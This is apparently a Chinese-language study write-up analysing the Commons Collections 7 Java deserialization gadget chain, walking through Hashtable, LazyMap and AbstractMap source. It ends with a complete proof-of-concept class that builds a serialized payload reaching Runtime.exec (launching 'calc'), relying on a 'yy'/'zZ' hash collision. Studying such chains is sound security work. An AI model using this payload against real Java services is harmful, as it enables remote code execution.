CommonsCollections7利用链分析
原理
CC7这条链和上一条CC5差不多,也是用了别的反序列化入口方法,然后走到LazyMap.get()
方法后就沿着CC1链的后半部分继续走了。这次用到的入口方法是Hashtable.readObject()
,yso中的调用链如下:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
代码分析
cc7后半段与cc1相同,前半段(如何触发LazyMap.get()
)不同,老规矩,先把相同部分的payload抄下来。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[]{ null, new Object[0]} ),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc" }),
new ConstantTransformer(1),
};
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
在cc1中是通过AnnotationInvocationHandler.invoke
来触发对恶意代理handler调用其invoke()
方法从而触发LazyMap.get()
方法。
而cc7中更加的直接,通过AbstractMap.equals()
来触发对LazyMap.get()
方法的调用:
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<K,V> m = (Map<K,V>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
可以最后的部分有个m.get()
的调用,如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发。
先寻找调用equals()
方法的点,CC7中使用了HashTable.reconstitutionPut()
:
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
这里对传进的Entry对象数组进行了循环,逐个调用e.key.equals(key)
,这里传进去的参数key如果是我们可控的,那么AbstractMap.equals()
中的m就是我们可控的。
接着找到了在HashTable.readObject()
中调用了reconstitutionPut()
方法,并将key传递进去:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
Entry<K,V>[] newTable = new Entry[length];
threshold = (int) Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
initHashSeedAsNeeded(length);
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(newTable, key, value);
}
this.table = newTable;
}
链已经分析完了,接下来就是看如何对参数进行控制的问题了。Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,因此HashTable.readObject()
方法里面的key和value实际上就是使用HashTable.put()
方法放进去的键值对。
因此这里就是创建Hashtable对象,然后使用put()
方法将构造好的LazyMap对象放进去:
Hashtable hashtable = new Hashtable();
hashtable.put(outerMap, 1);
然后用反射把transformerChain对象中临时的transformers换成恶意的transformers数组:
setFieldValue(transformerChain, "iTransformers", transformers);
此时的POC:
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[]{ null, new Object[0]} ),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc" }),
new ConstantTransformer(1),
};
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(outerMap, 1);
setFieldValue(chainedTransformer, "iTransformers", transformers);
serialize(hashtable);
unserialize("ser.bin");
我们运行该POC却无事发生,下面是debug环节,看下yso里面是怎么写的:
在这段代码中,实例化了两个HashMap,并对两个HashMap使用了LazyMap将transformerChain和HashMap
绑定到一起。然后分别添加到Hashtable中。
- 为什么要调用两次
put()
?
我们需要调用的e.key.equal()
方法是在for循环里面的,需要进入到这for循环才能调用。
Hashtable
的reconstitutionPut()
方法是被遍历调用的,
第一次调用的时候,并不会走入到reconstitutionPut()
方法for循环里面,因为tab[index]
的内容是空的,在下面会对tab[index]
进行赋值。
在第二次调用reconstitutionPut()
时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals()
方法。这也是为什么要调用两次put的原因。
- 为什么调用的两次
put()
其中map中key的值分别为yy和zZ?
第二次调用reconstitutionPut()
进入到for循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过(e.hash == hash)
判断为真才能走到我们想要的e.key.equal()
方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的key.hashCode()
得到的,也就是说lazyMap1的hash值就是 "yy".hashCode()
,lazyMap2的hash值就是 "zZ".hashCode()
,而在java中有一个小bug:
"yy".hashCode() == "zZ".hashCode()
yy
和zZ
由hashCode()
计算出来的值是一样的。正是这个小bug让这里能够利用,所以这里我们需要将map中put()
的值设置为yy
和zZ
,才能走到我们想要的e.key.equal()
方法中。
- 为什么在调用完
HashTable.put()
之后,还需要在map2中remove()
掉yy?
这是因为HashTable.put()
实际上也会调用到equals()
方法:
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}
// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}
addEntry(hash, key, value, index);
return null;
}
当调用完equals()
方法后,LazyMap2的key中就会增加一个yy键:
这就不能满足hash碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么经过对方服务器反序列化也不能满足hash碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对。
完整POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
// Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[]{ null, new Object[0]} ),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc" }),
};
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
setFieldValue(chainedTransformer, "iTransformers", transformers);
lazyMap2.remove("yy");
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
总结
直接上图吧,学到最后一条CC链给我的感觉就是把前面CC1,CC3,CC6,CC4这四条学了之后,后面的就是知识入口方法有区别,最后还是会走回到Transformer.transform()
方法去进行调用恶意方法,所以初学Java反序列化的新手,咋一看CC链又多又复杂,其实只要把前面的熬过去了,后面就触类旁通了。